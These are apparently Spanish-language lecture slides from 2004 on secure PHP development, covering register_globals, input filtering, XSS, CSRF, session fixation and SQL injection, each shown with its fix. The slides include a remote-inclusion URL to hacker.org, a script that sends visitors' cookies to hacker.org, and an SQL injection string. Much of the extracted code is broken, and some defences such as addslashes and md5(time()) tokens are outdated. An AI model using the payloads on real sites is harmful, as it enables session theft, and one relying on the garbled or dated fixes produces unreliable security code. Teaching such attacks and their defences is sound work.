Desarrollo de Código Seguro 22 y 27 de Septiembre de 2004 Facultad Regional Concepción del Uruguay Universidad Tecnológica Nacional Gabriel Arellano arellanog@frcu.utn.edu.ar Seguridad en PHP Lineamientos Generales. Filtrado de la Entrada. Utilización de Librerías. Diseño en Tres Capas. Alejandro de Brito Fontes debritoa@frcu.utn.edu.ar Introducción Register Globals PHP es un lenguaje que en casi todos los casos estará soportando aplicaciones accesibles vía Internet. Por esto se deben tener en cuenta aspectos de seguridad que normalmente se pasarían por alto en el caso de lenguajes de programación tradicionales. En principio: Considere los usos ilegítimos de su aplicación. Filtre la información proveniente del exterior. Investigue constantemente. La directiva register_globals permite que las variables pasadas por el cliente se registren como variables globales en nuestras aplicaciones. Esta directiva está desabilitada por defecto desde la versión 4.1.0 de PHP. Esta directiva en sí no es una vulnerabilidad, pero representa un riesgo de seguridad. Por lo tanto debería diseñar sus aplicaciones para que funcionen sin register_globals activada.
Tomemos este ejemplo: Register Globals include "$path/common.php"; Si register_globals estuviera activada e hiciera una consulta como esta: script.php?path=http%3a%2f%2fhacker.org%2f%3f Mi script quedaría: Recomendaciones: Register Globals Inicializar todas la variables antes de utilizarlas. Establecer error_reporting a E_ALL durante el desarrollo. Siempre tomar los valores de los arreglos _POST y _GET. Evitar trabajar con register_globals activado. include "http://hacker.org/common.php"; Filtrado de la Entrada Filtrado de la Entrada Como afirmamos varias veces, el filtrado de la información que el cliente envía es la pieza fundamental de la seguridad web. Esto involucra establecer mecanismos mediante los cuales se pueda determinar la validez de los datos que están siendo enviados. Un buen diseño debe ayudar a los desarrolladores a: Asegurar que el filtrado de datos no pueda evitarse. Asegurar que información inválida no pueda ser confundida con información válida. Identificar el origen de los datos. Para lograr los objetivos planteados anteriormente se pueden considerar dos enfoques: El enfoque dispatch (despachador). Un único script es el que está disponible vía web. Todo lo demás son módulos que se invocan a través de llamadas include o require. El enfoque include. Contamos con un único módulo encargado de las funciones de seguridad. Este módulo es incluído al principio de todos nuestros scripts que están disponibles vía web.
El enfoque dispatch Este método normalmente requiere que se pase una variable con la operación a realizar (En lugar de llamar a un script en particular). Por ejemplo: http://www.compras.com/main.php?accion=imprimir El script main.php es el único disponible vía web. Esto permite al desarrollador: Implementar medidas de seguridad en el script main.php y asegurarse que esas medidas no puedan ser evitadas. Fácilmente verificar que el filtrado de datos es llevado a cabo ya que todos los datos pasan por el script main.php. El enfoque dispatch /* Medidas de seguridad */ switch ($_GET['accion']){ case 'imprimir': include '/inc/presentation/form.inc'; case 'procesar': $form_valid = false; include '/inc/logic/process.inc'; if ($form_valid) { include '/inc/presentation/end.inc'; else { include '/inc/presentation/form.inc'; default: include '/inc/presentation/index.inc'; El enfoque include El enfoque include es el de tener unúnico módulo encargado de las funciones de seguridad. Este módulo es incluido al principio de todos los scripts. Por ejemplo: switch ($_POST['formulario']){ case 'login': $permitido = array(); $permitido[] = 'formulario'; $permitido[] = 'usuario'; $permitido[] = 'contrasenia'; $enviado = array_keys($_post); if ($permitido == $enviado){ include '/inc/logic/procesar.inc'; Filtrado de la Entrada En cuanto a los datos recibidos desde el cliente es importante tomar un enfoque de lo que no está explícitamente definido no se considera válido Por ejemplo, para recibir una dirección de correo: $validos = array(); $email_pattern='/^[^@\s]+@([-a-z0-9]+\.)+[a-z]{2,$/i'; if (preg_match($email_pattern, $_POST['email'])){ $validas['email'] = $_POST['email']; Este enfoque es difícil y hasta imposible de implementar cuando no sabemos el tipo de dato que vamos a manejar.
Filtrado de la Entrada Filtrado de la Entrada También es recomendable implementar este enfoque cuando el número de opciones o valores aceptables son conocidos de antemano: Por ejemplo: $validos = array(); switch ($_POST['color']){ case 'rojo': case 'verde': case 'azul': $validos['color'] = $_POST['color']; Es recomendable también asegurarse que los datos enviados sean del mismo tipo que el de la variable que los recibirá: Por ejemplo: $validos = array(); if ($_POST['num1'] == strval(intval($_post['num1']))){ $validos['num1'] = $_POST['num1']; if ($_POST['num2'] == strval(floatval($_post['num2']))){ $validos['num2'] = $_POST['num2']; Cross Site Scripting Los ataques de XSS se basan en explotar la confianza que tienen los usuarios (o sus navegadores) en el sitio que visitan. Miremos este ejemplo de un libro de visitas muy simple: Cross Site Scripting Daría como resultado algo como esto: <form> <input type="text" name="mensaje"><br /> <input type="submit"> </form> if (isset($_get['mensaje'])){ $fp = fopen('./mensajes.txt', 'a'); fwrite($fp, "{$_GET['mensaje']<br />"); readfile('./mensajes.txt');
Cross Site Scripting Qué ocurriría si un visitante deja este mensaje? <script> document.location = 'http://www.hacker.org/steal_cookies.php?cookies=' + document.cookie </script> Cada vez que alguien visite la página todas sus cookies serían enviadas al script steal_cookies.php ubicado en un sitio distinto al nuestro... Para que este ataque sea efectivo hace falta que el navegador de la víctima tenga JavaScript activado. Cross Site Scripting Una versión más segura de nuestro libro de visitas: <form> <input type="text" name="mensaje"><br /> <input type="submit"> </form> if (isset($_get['mensaje'])){ $mensaje = htmlentities($_get['mensaje']); $fp = fopen('./mensajes.txt', 'a'); fwrite($fp, '$mensaje<br />'); readfile('./mensajes.txt'); A diferencia de XSS en este tipo de ataques se explota la confianza que un sitio le tiene a sus usuarios. En general se basan en la modificación de los pedidos que realizan usuarios válidos. Primero veamos cómo se hace un pedido HTTP: GET / HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */* Aquí pedimos la página principal de example.org La respuesta al pedido anterior sería por ejemplo: HTTP/1.1 200 OK Content-Type: text/html Content-Length: 57 <html> <img src="http://example.org/image.png" /> </html> Que generaría otro pedido: GET /image.png HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */* Mi servidor no tiene manera de distinguir este pedido de un pedido hecho a mano por un usuario malicioso.
Una versión más segura de nuestro libro de visitas: Para prevenir este tipo de ataques hay ciertas medidas que podemos tomar: Usar POST en lugar de GET. Usar _POST en lugar de confiarnos en register_globals. No pensar solamente en conveniencia. Forzar el uso de nuestros formularios. $token = md5(time()); $fp = fopen('./tokens.txt', 'a'); fwrite($fp, "$token\n"); <form method="post"> <input type="hidden" name="token" value=" echo $token; " /> <input type="text" name="message"><br /> <input type="submit"> </form> Una versión más segura de nuestro libro de visitas (Cont.) $tokens = file('./tokens.txt'); if (in_array($_post['token'], $tokens)){ if (isset($_post['mensaje'])){ $mensaje = htmlentities($_post['mensaje']); $fp = fopen('./mensajes.txt', 'a'); fwrite($fp, "$mensaje<br />"); readfile('./mensajes.txt'); En lugar del tiempo podemos emplear sesiones y uniqid() session_start(); if (isset($_post['message'])){ if ($_POST['token'] == $_SESSION['token']){ $message = htmlentities($_post['message']); $fp = fopen('./messages.txt', 'a'); fwrite($fp, "$message<br />"); $token = md5(uniqid(rand(), true)); $_SESSION['token'] = $token; Este script aún tiene alguna vulnerabilidades...
Manejo de Sesiones La seguridad de las sesiones es un tema complicado, por lo que no es de extrañarse que sean el objetivo de muchos ataques. La mayoría de los ataques a sesiones implican que el atacante intenta acceder a la sesión de otro usuario. La pieza crucial de información para un atacante es el identificador de sesión, ya que es lo único que necesita el atacante para lograr su objetivo. Existen básicamente tres métodos empleados para obtener las credenciales de otro usuario: Predicción. Captura. Fijación. Fijación de Sesiones Tomemos como ejemplo el siguiente script: session_start(); if (!isset($_session['visitas'])){ $_SESSION['visitas'] = 1; else{ $_SESSION['visitas']++; echo $_SESSION['visitas']; Qué ocurriría si yo hiciera un pedido como el siguiente? http://example.com/script.php?phpsessid=1234 Fijación de Sesiones Una solución sería tratar de identificar la fuente de la sesión (el equipo del usuario que inicio la sesión). session_start(); if (isset($_session['http_user_agent'])){ if ($_SESSION['HTTP_USER_AGENT']!= md5($_server['http_user_agent'])){ /* Prompt for password */ exit; else { $_SESSION['HTTP_USER_AGENT'] = md5($_server['http_user_agent']); Acceso a Bases de Datos El usar bases de datos implica que nuestra aplicación deberá conectarse a las mismas y para ello deberá emplear las credenciales correspondientes. $host = 'example.org'; $username = 'myuser'; $password = 'mypass'; $db = mysql_connect($host, $username, $password); Este es el típico script de conexión que encontraremos en casi cualquier aplicación en php que emplee bases de datos. Este script es llamado por cualquier otro que desee conectarse a la base de datos. Debemos asegurarnos que sólo sea accesible a scripts autorizados.
SQL Injection El usar bases de datos implica que nuestra aplicación deberá conectarse a las mismas y para ello deberá emplear las credenciales correspondientes. $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('{$_POST['reg_username']', '$reg_password', '{$_POST['reg_email']')"; Este script recibe los datos de un formulario donde el usuario escribe su nombre, contraseña y dirección de email. SQL Injection Supongamos que un usuario malicioso escribe en su nombre de usuario: bad_guy', 'mypass', ''), ('good_guy La consulta resultante sería: $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES (' bad_guy', 'mypass', ''), ('good_guy','1234','shiflett@php.net')"; Con lo cual se crean dos usuarios. SQL Injection Lo podríamos solucionar con la función específica para mysql: $username = mysql_escape_string($_post['reg_username']); $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('$username', '$reg_password', '{$_POST['reg_email']')"; O bien con una solución más general: $username = addslashes($_post['reg_username']); Recursos Libros: Secure PHP Development Mohammed J. Kabir - Ed. Wiley Publishing. Recursos on-line: PHP Security Open Source Convention http://shiflett.org/talks/oscon2004/php-security Open Web Application Security Project http://www.owasp.org/ Cgisecurity http://www.cgisecurity.com